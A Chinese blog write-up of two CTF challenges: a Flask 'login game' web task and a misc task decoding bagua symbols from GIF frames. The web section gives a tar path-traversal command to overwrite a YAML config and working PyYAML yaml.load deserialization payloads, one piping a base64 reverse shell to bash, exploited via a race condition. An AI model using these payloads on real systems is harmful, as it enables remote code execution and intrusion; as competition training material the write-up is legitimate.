PWNHUB 一场新鲜赛事速达【六月内部赛】 web - login game + Misc - 伏羲八卦
本文来自csdn的??shu天??,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主:https://blog.csdn.net/weixin_46081055 看看ヾ(@ ?ω? @)ノ!!
web - login game
给了源码,大概就是login登陆,upload上传,上传同时有解压
extractFile函数
def extractFile(filepath, type):
extractdir = filepath.split('.')[0]
if not os.path.exists(extractdir):
os.makedirs(extractdir)
if type == 'tar':
tf = tarfile.TarFile(filepath)
tf.extractall(extractdir)
return tf.getnames()
if type == 'zip':
zf = zipfile.ZipFile(filepath, 'r')
zf.extractall(extractdir)
return zf.namelist()
tarfile库的extractall或extract方法存在目录穿越漏洞,可以进行文件覆盖
再看login路由
@app.route('/login', methods=['GET', 'POST'])
def login():
with open('config/userConfig.yaml', 'w') as f:
data = {'user': 'Admin', 'host': '127.0.0.1', 'info': 'System super administrator and super user.'}
f.write(yaml.dump(data))
if request.method == 'GET':
return render_template('login.html')
if request.method == 'POST':
username = request.form.get('username')
if username and username == "Admin":
with open('config/userConfig.yaml', 'rb') as f:
userConfig = yaml.load(f.read())
if userConfig['host'] == request.remote_addr:
session['user'] = userConfig['user']
return render_template('admin.html', username=userConfig['user'], message=userConfig['info'])
else:
return "<script>alert('Can only login locally');history.back(-1);</script>"
elif username:
session['user'] = username
return redirect('/')
如果登陆的用户名为Admin,则读取config/userConfig.yaml文件,yaml.load转换为python数据类型
yaml.load详情可以看看官方wiki PyYAML yaml.load(input) Deprecation ·yaml/pyyaml Wiki (github.com),本题的环境为PyYAML==5.3
在PyYAML 5.1 +之前,该函数可以很容易地被利用来调用任何Python函数。这意味着它可以使用 调用任何系统命令。 yaml.load反序列化漏洞原理见浅谈PyYAML反序列化漏洞 - 先知社区 (aliyun.com)
题目中是未写loader参数的,我用的这个师傅的poc PyYAML反序列化防御和ByPass - FreeBuf网络安全行业门户
import yaml
payload = """
- !!python/object/new:str
args: []
state: !!python/tuple
- "print('漏洞存在')"
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:exec
"""
yaml.load(payload)
回显:
->漏洞存在
但是要注意,login路由中会重写userConfig.yaml,可以用条件竞争绕过
with open('config/userConfig.yaml', 'w') as f:
data = {'user': 'Admin', 'host': '127.0.0.1', 'info': 'System super administrator and super user.'}
f.write(yaml.dump(data))
最终思路就是,tar包解压覆盖userConfig.yaml,yaml.load反序列化rce
- 创建tar包
tar cPvf caiao.tar ../../../config/userConfig.yaml
userConfig.yaml
- !!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').popen('echo [反弹shell] | base64 -d | bash').read()"
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:exec
2.条件竞争 成功的话返回值500 反弹shell得到flag
Misc - 伏羲八卦
赛后看师傅wp复现的,我真的很不会处理二进制数据……这次也没想出来
给了个gif,python将其分割为png Python 实现分离GIF图片,-pillow_好逸爱劳的博客-CSDN博客
from PIL import Image
import os
gilFileName = 'gif.gif'
im = Image.open(gilFileName)
pngDir = gilFileName[:-4]
if not os.path.exists(pngDir):
'''如果没有重名的文件夹,就生成这个文件夹来存放图片'''
os.mkdir(pngDir)
try:
while True:
current = im.tell()
im.save(pngDir + '\\' + str(current) + '.png')
im.seek(current + 1)
except EOFError:
pass
然后根据png的大小,转换为对应伏羲八卦的符号
import os
dict = { 1715 : "?", 2099 : "?",2062 : "?", 2059 : "?", 2392 : "?", 1773 : "?", 1863: "?", 1856 :"?"}
for s in range(342):
print(dict[os.path.getsize('./gif/'+str(s)+'.png')],end='')
将八卦符号转换为八进制数 Python八卦符编码 base8-bagua-py_孤冷的刺猬的博客-CSDN博客_python 八卦
符号 | 卦名 | 拼音 | 8进制数 |
---|
? | 乾 | qián | 0 | ? | 兑 | duì | 1 | ? | 离 | lí | 2 | ? | 震 | zhèn | 3 | ? | 巽 | xùn | 4 | ? | 坎 | kǎn | 5 | ? | 艮 | gèn | 6 | ? | 坤 | kūn | 7 |
补一个六十四卦
s='??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????'
dic={'?': '0', '?': '1', '?': '2', '?': '3', '?': '4', '?': '5', '?': '6', '?': '7'}
li=[]
k=0
for i in range(len(s)):
if k ==1:
k=0
continue
try:
li.append(dic[s[i]])
except:
t=''
t=t+s[i]+s[i+1]
li.append(dic[t])
k=1
ss=''.join(li)
print(ss)
str1 = re.findall(r'\w{3}', ss)
for i in str1:
print(chr(int(i,8)),end='')
sss = 'ZmxhZ3tE2ZarhfbBcMC15T3UtbUCXNWRJtADFrZS1wbGFeBG2FhBRgiq3g5bG5nLW0xc2kHyoNqiTXcmi'
print(sss[0x8:0x11]+sss[0x1a:0x23]+sss[0x2d:0x3a]+sss[0x45:0x51])
2ZarhfbBcUCXNWRJtAeBG2FhBRgiq3gkHyoNqiTXcmi
base58得到flag{D0-yOu-l1ke-playlng-m1sc?}
|